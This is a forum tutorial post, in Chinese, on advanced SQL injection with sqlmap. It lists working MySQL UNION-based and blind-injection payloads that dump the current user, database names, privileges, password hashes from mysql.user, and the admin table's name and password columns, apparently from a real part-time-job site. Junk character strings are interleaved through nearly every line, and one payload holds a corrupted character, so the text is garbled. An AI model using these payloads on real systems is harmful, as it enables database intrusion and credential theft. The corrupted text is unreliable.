找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2350|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
) M# n+ R+ N# }# M
% E. z3 o1 ^( n# t这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
5 R/ I( _. {3 m+ C5 M6 B+ r
' S6 R/ {; s+ ~# _5 q& ?分类标准        分类        备注
6 t) J. X1 ]4 F2 l按字段类型        整型注入,字符型注入        % H/ Z6 m6 O* W
按出现的位置        get注入,post注入,cookie注入,http header注入       
& S* i1 H# ]; h8 P# }% A然而高级注入是这样的& a( ?3 D+ F. q- B
- s+ W% z+ Z" h, r1 x( A6 e
高级注入分类        条件7 Q2 l6 t9 d6 y& R" \
error-based sql        数据库的错误回显可以返回,存在数据库,表结构2 T1 k& r6 v# s" h+ r% J
union-based sql        能够使用union,存在数据库,表结构+ x! |1 q1 V& \8 b9 j# E: [* ]
blind sql        存在注入
1 A7 ], O% @% K- R8 X我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
# D3 c% U; t6 q" v6 A5 q: i6 p - w2 S' X9 Z( k2 M0 ^3 W
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火4 y  N3 x, {/ C# u, I( M- _

6 _1 [# k: T. f  i$ ]9 T& G. O附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。9 H1 c2 Q+ j) V7 P7 L; }

- V1 c6 d) m: u% B2 u5 a: j) [这里用mysql说明
+ z0 c  r, }2 ~- [* J
8 c8 \+ k5 I% ^) t" P, f& T8 me注入坛子里很多了,请看戳我或者再戳我
& r2 H9 \; Z4 F% M  R
- C  X% Z& j- G' c* O' Q+ x8 n( c, ~u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的7 A9 X- @8 L. e0 l7 S
. E5 _% j/ l) M3 T8 k' D: ?# W
获取当前数据库用户名7 T( l3 }9 a- F& O

( _, r' P3 U7 W* @$ k% U7 z9 lUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
1 a* ?' n! }# V% zAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL" C5 k& F0 O8 o5 w+ G0 K
L, NULL#0 X6 z$ h- c  E) \
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
  D; N0 y  S  F/ B% N- |4 r
2 Y8 o0 N/ [$ h: V# R# N5 E获取数据库名, q! |0 y. |& d4 ]4 ^" [
. {+ [3 |, O- w; |
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
% d& r0 \( S- {! h/ X  K获取所有用户名' Y+ i2 M: }$ ]+ e. m
- a, X5 L  X2 R' f, h
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
6 F" ~3 V3 J  \. N. e8 k8 g查看当前用户权限, d& ~8 B! X* y& K* y: u1 ~0 B
- U  Q9 k' T8 c# j/ o! J
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#8 B$ F7 ^# X+ Z/ Y6 H# |' i, v
尝试获取密码,当然需要有能读mysql数据库的权限
3 e# S* q* S3 X: R- x+ u" t3 {( O) M
& |" D) G3 n  Q) G3 OUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#' F) k: E1 f! ?0 F' @2 ?$ G, W9 F8 y
获取表名,limit什么的自己搞啦
8 j( l  {/ [8 i8 y1 s2 x# x
2 L* T* [# o* ?! ]: L+ q1 t3 kUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#$ P+ `/ @! {, m" B# ]
获取字段名及其类型# L! W+ E/ }- g1 s: I+ L9 v9 X3 w
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
% w- R, l* ]: `, x
7 a2 B+ `; O$ y/ |. Eb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。2 G, K  ?' ]  I' H& T: I2 j: s; I$ c
4 u1 [5 [% ^; M: d# f3 W
如:
* Y; a( n0 A( ]4 j  M获取当前用户名3 z' O+ q$ O* Y- ]* X5 V
+ n" [( M  u! L- p+ }0 `$ o
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116$ _; `9 q. G0 X! P* |. E8 g
获取当前数据库2 H% L+ @4 z; p" B$ v
) k& L9 A+ `3 c5 u
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
( d: ~; W) c5 W$ U4 x获取表名( z+ C8 A$ [: e4 |. U
! f# w2 }. A2 L1 J, v4 g
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 513 a0 }; f9 N/ `8 b( P
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
: I. C# B1 G+ ?: ]回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
3 d4 ~1 H& |  d4 U6 y7 u爆表/ @: \; C1 u! a: Y

; {4 d) i$ B9 C8 w6 X1 u3 CAND EXISTS(select * from table)
8 v+ f/ X& e, u3 ~0 K0 f. l4 ]' L爆字段: I7 o/ w3 ~9 I
) i) B6 ?2 ?/ r0 x3 E
AND EXISTS(select pwd from table)/ K# W% {, |. m0 u
盲注的变化就比较多了,由于篇幅,只是举个例子而已。
6 i/ O2 `# y0 n6 h7 X( j 8 a+ W" s5 q9 Y+ g( D! a' A3 g# [
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。' n, L3 \. G( J% Z& H6 H: F6 _1 h6 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表